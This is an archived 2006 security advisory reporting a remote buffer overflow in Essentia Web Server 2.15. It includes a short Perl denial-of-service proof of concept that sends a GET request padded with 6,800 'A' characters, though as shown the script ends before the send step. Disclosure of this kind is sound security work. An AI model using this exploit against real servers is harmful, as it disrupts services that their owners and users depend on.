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essentia215.txt

essentia215.txt
Posted Nov 6, 2006
Authored by CorryL | Site x0n3-h4ck.org

Essentia Web Server version 2.15 suffers from a buffer overflow vulnerability. Denial of service exploit included.

tags | exploit, web, denial of service, overflow
SHA-256 | b6a275a0406f1b65144837ffc8082c6f99e97e4d2b21537d389ac4ee29f4ec45

essentia215.txt

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-=[--------------------ADVISORY-------------------]=-

Essentia Web Server V 2.15

Author:CorryL x0n3-h4ck.org
-=[----------------------------------------------------]=-


-=[+] Application: Essentia Web Server
-=[+] Version: 2.15
-=[+] Vendor's URL: http://www.essencomp.com
-=[+] Platform: Windows
-=[+] Bug type: Buffer overflow
-=[+] Exploitation: Remote
-=[-]
-=[+] Author: CorryL ~ corryl80[at]gmail[dot]com ~
-=[+] Reference: www.x0n3-h4ck.org
-=[+] Virtual Office: http://www.kasamba.com/CorryL

..::[ Descriprion ]::..

Providing enhanced Web Application and Communication Services, this is a high performance scalable web server that supports thousands of virtual servers.

..::[ Bug ]::..

This software is affection from a buffer overflow
what it would allow an attacker to perform arbitrary code
on the system victim.
Sending a GET+Ax6800 request, he would succeed
to write above the seh point.

..::[ Proof Of Concept ]::..

#!/usr/bin/perl


use IO::Socket;

use Getopt::Std; getopts('h:', \%args);



if (defined($args{'h'})) { $host = $args{'h'}; }

print STDERR "\n-=[ Essentia Web Server 2.15 Remote DOS Exploit]=-\n";

print STDERR "-=[ Discovered By CorryL corryl80@gmail.com ]=-\n";

print STDERR "-=[ Coded by CorryL info:www.x0n3-h4ck.org ]=-\n\n";

if (!defined($host)) {

Usage();

}

$dos = "A"x6800;

print "[+] Connect to $host\n";

$socket = new IO::Socket::INET (PeerAddr => "$host",

PeerPort => 80,

Proto => 'tcp');

die unless $socket;

print "[+] Sending DOS byte\n";

$data = "GET /$dos \r\n\r\n";


..::[ Workaround ]::..

nothing

..::[ Disclousure Timeline ]::..

[30/10/2006] - Vendor notification
[04/11/2006] – No Vendor Response
[04/11/2006] - Public disclousure




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